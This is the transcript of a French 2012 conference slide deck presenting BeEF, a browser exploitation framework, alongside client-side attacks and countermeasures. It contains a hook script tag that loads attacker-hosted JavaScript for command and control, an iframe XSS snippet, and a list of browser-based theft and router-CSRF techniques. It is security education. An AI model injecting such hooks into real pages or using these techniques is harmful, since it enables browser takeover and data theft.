beef : the browser exploitation framework
DESCRIPTION
Cette présentation a été réalisée à Résist (groupe de l'OSSIR sur Toulouse) en Septembre 2012. Elle présente succintement l'outil BeEF.TRANSCRIPT
![Page 1: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/1.jpg)
Presented by Etienne Maynier
BeEF : Browser Exploitation Framework 18 Septembre 2012
![Page 2: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/2.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
# whoami
• Pentest / audit sécurité
• Intéressé par l’exploitation, la sécurité Web, le fuzzing, la sécurité
réseau…
• Participation à des projets opensource à mes heures perdues (BeEF,
sulley)
• MDAL !
Septembre 2012 Présentation BeEF - RéSIST
Page 2
![Page 3: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/3.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012
Sommaire
• Le Web côté client
• BeEF
• Présentation
• Démo
• Contre Mesures ?
Page 3
Présentation BeEF - RéSIST
![Page 4: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/4.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Disclaimer
If anything can go wrong, it will.
Septembre 2012 Présentation BeEF - RéSIST
Page 4
![Page 5: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/5.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Intro
Web !
Septembre 2012 Présentation BeEF - RéSIST
Page 5
![Page 6: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/6.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Attaques web côté client
• Le navigateur comme point d’entrée sur le poste de travail :
• Phishing
• Compromission de sites légitimes
• XSS
Persistantes
Réfléchies
DOM-based
Septembre 2012 Présentation BeEF - RéSIST
Page 6
![Page 7: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/7.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Same Origin Policy
• Limitation des actions au domaine
• Domaine = Protocole + FQDN + port
• Limitation d’accès au domaine pour les cookies, la DOM…
• Limitation des XML HTTP Request cross-domain
• Bloquées par défaut
• Ne concerne que les requêtes et pas les balises img, script, iframe, video…
• Implémentation différente selon les langages ! • Javascript : sauf si le serveur répond avec le bon entête (Access-Control-Allow-Origin:
http://example.com)
• Java & Flash: crossdomain.xml
Septembre 2012 Présentation BeEF - RéSIST
Page 7
![Page 8: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/8.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Cross Site Request Forgery
Septembre 2012 Présentation BeEF - RéSIST
Page 8
Image: http://shiflett.org
![Page 9: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/9.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
ClickJacking
Septembre 2012 Présentation BeEF - RéSIST
Page 9
Image: http://t37.net
Bouton sur un bouton :
•Utilise la préauthentification de l’utilisateur sur le site • Ne permet pas d’injecter de paramètres POST ou de modifier la page
![Page 10: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/10.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Quelques chiffres
• 75% des sites hébergeant du code malveillant sont des sites légitimes compromis1
• 60% des 100 sites les plus populaires ont été impliqués ou ont hébergé une activité malveillante dans la première moitié de l’année 20081
• XSS découverts dans 55% des sites web testés par White Hat Security (1er type de vulnérabilité) 2
Septembre 2012 Présentation BeEF - RéSIST
Page 10
1 - Websense, State of Internet Security, 2008
2 – WhiteHat Security Website Statistics Report, Summer 2012
![Page 11: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/11.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Exemples
• 2005 : XSS dans Google.com
• 2006 : CSRF dans Digg
• 2007 : Ver XSS MySpace de Samy Kamkar
• 2008 : CSRF dans ING permettant de lancer un transfert…
• 2010 : Compromission de apache.org par une XSS
Septembre 2012 Présentation BeEF - RéSIST
Page 11
« Web App Security Horror Studies », Simon Willison, 2009
![Page 12: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/12.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 12
![Page 13: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/13.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Architecture
Septembre 2012 Présentation BeEF - RéSIST
Page 13
Source: beefproject.com
•Ruby avec rails •Javascript avec Jquery
![Page 14: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/14.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Interface (1/2)
Septembre 2012 Présentation BeEF - RéSIST
Page 14
Zombies Infos sur le navigateur
![Page 15: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/15.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Interface (2/2)
Septembre 2012 Présentation BeEF - RéSIST
Page 15
Commandes
Historique
Description
![Page 16: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/16.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Hooking
• Lancement d’un script
• <script src="http://10.1.1.1:3000/hook.js"></script>
• Marquage du navigateur avec Evercookie
• Etablissement d’un Command & Control avec le navigateur
• Requêtes Hello toutes les secondes
• Chargement d’une API javascript BeEF basée sur jquery
Septembre 2012 Présentation BeEF - RéSIST
Page 16
![Page 17: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/17.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Persistance
• Man In The Browser
• Simulation de tous les liens en AJAX (seulement dans le domaine)
• Changement des URL via history.pushState
• Autrement ouverture dans un nouvel onglet/fenêtre
• Le browser reste « hooké » !
• Démo !
Septembre 2012 Présentation BeEF - RéSIST
Page 17
![Page 18: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/18.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 18
Play with the browser !
![Page 19: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/19.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Récupération d’informations
Vol de cookies (évidemment)
Keylogger
Vol de clipboard
Liste des sites/domaines visités
Fingerprint du navigateur (OS, plugins…)
Webcam !
…
Septembre 2012 Présentation BeEF - RéSIST
Page 19
![Page 20: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/20.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 20
Social Engineering
![Page 21: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/21.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Social Engineering
• Phishing dans le site !
• Tab nabbing
• Beef cloning and mass mailing en développement
Septembre 2012 Présentation BeEF - RéSIST
Page 21
![Page 22: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/22.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 22
Network Discovery
![Page 23: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/23.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Get Internal IP
Septembre 2012 Présentation BeEF - RéSIST
Page 23
![Page 24: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/24.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Ping Sweep
Septembre 2012 Présentation BeEF - RéSIST
Page 24
![Page 25: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/25.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
DNS Enumeration
Septembre 2012 Présentation BeEF - RéSIST
Page 25
![Page 26: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/26.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Port Scanning
Septembre 2012 Présentation BeEF - RéSIST
Page 26
![Page 27: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/27.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Network Fingerprinting
Septembre 2012 Présentation BeEF - RéSIST
Page 27
« Intranet Footprinting », Javier Marcos de Prado, Juan Galiana Lara
![Page 28: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/28.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Remote CSRF
• CSRF trouvées dans des routeurs / Switch / Cameras
• Linksys WRT54G : enable remote administration and change password
• DLINK DSL500T : change password
• Cisco E2400 change password
• Camera DLINK DCS : change password
• …
Septembre 2012 Présentation BeEF - RéSIST
Page 28
![Page 29: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/29.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
IRC NAT Pining
Septembre 2012 Présentation BeEF - RéSIST
Page 29
http://blog.beefproject.com/2012/07/opening-closed-ports-on-nat-device-and.html http://samy.pl/natpin/
1 – Envoi une requête HTTP à un server IRC
Simule une communication IRC
2 – Le Firewall / NAT enregistre la
communication et ouvre le port
3 – Point d’entrée sur le réseau
pour l’attaquant
![Page 30: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/30.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 30
![Page 31: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/31.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Metasploit
Septembre 2012 Présentation BeEF - RéSIST
Page 31
Intégration directe de MSF dans BeEF par xml-rpc :
![Page 32: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/32.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 32
Tunneling
![Page 33: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/33.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Proxy
Septembre 2012 Présentation BeEF - RéSIST
Page 33
Use as a proxy
Transfer
HTTP requests (limited by
SOP)
![Page 34: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/34.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
XSS Rays (1/2)
Septembre 2012 Présentation BeEF - RéSIST
Page 34
![Page 35: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/35.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
XSS Rays (2/2)
Septembre 2012 Présentation BeEF - RéSIST
Page 35
![Page 36: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/36.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 36
Contre-mesures
![Page 37: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/37.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Côté Applications Web
• SDLC
• Les injections SQL diminuent mais peu de considération pour les XSS / CSRF / Clickjacking…
• « C’est juste une XSS… »
• Web Application Firewall
• Difficile à paramétrer et à gérer
• Bypassable
Septembre 2012 Présentation BeEF - RéSIST
Page 37
![Page 38: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/38.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Côté client
• Mettre à jour les navigateurs et plugins est la règle #1 !
• Java dans le navigateur est mort !
• Anti XSS
• IE 8 / No Script...
• Compromis sécurité / fonctionnalités
• Peu de protections pour la majorité des attaques
• C’est « juste » du Javascript !
• Le travail est pour les navigateurs et la standardisation (HTML5…)
Septembre 2012 Présentation BeEF - RéSIST
Page 38
![Page 39: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/39.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Côté réseau / organisation
• Liste blanche des sites acceptés !
• Limite les possibilités de C&C
• Gestion des incidents, réaction…
• De plus en plus important avec les APT
Septembre 2012 Présentation BeEF - RéSIST
Page 39
![Page 40: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/40.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012 Présentation BeEF - RéSIST
Page 40
Conclusion
![Page 41: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/41.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Septembre 2012
© MDAL SARL. All rights reserved. Confidential and proprietary document. This document and all information contained herein is the sole property of MDAL SARL. No intellectual property rights are granted by the
delivery of this document or the disclosure of its content. This document shall not be reproduced or disclosed to a third party without the express written consent of MDAL SARL. This document and its content shall not be
used for any purpose other than that for which it is supplied. The statements made herein do not constitute an offer. They are based on the mentioned assumptions and are expressed in good faith. Where the supporting
grounds for these statements are not shown, MDAL SARL. will be pleased to explain the basis thereof.
Page 41
Présentation BeEF - RéSIST
![Page 42: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/42.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Références
• http://beefproject.com/
• « Intranet Footprinting », Javier Marcos de Prado, Juan Galiana Lara
• “Ground BeEF: Cutting, devouring and digesting the legs off a browser”, Michele antisnatchor Orru
Septembre 2012 Présentation BeEF - RéSIST
Page 42
![Page 43: BeEF : The Browser Exploitation Framework](https://reader033.vdocuments.net/reader033/viewer/2022051413/5571c1bfd8b42ac0228b5152/html5/thumbnails/43.jpg)
© MDAL SARL. All rights reserved. Confidential and proprietary document.
Bonus : Vulnérabilité Chromium
<iframe srcdoc="<script>alert(2)</script>"></iframe>
Status : Won’t fix !
Septembre 2012 Présentation BeEF - RéSIST
Page 43
https://code.google.com/p/chromium/issues/detail?id=148360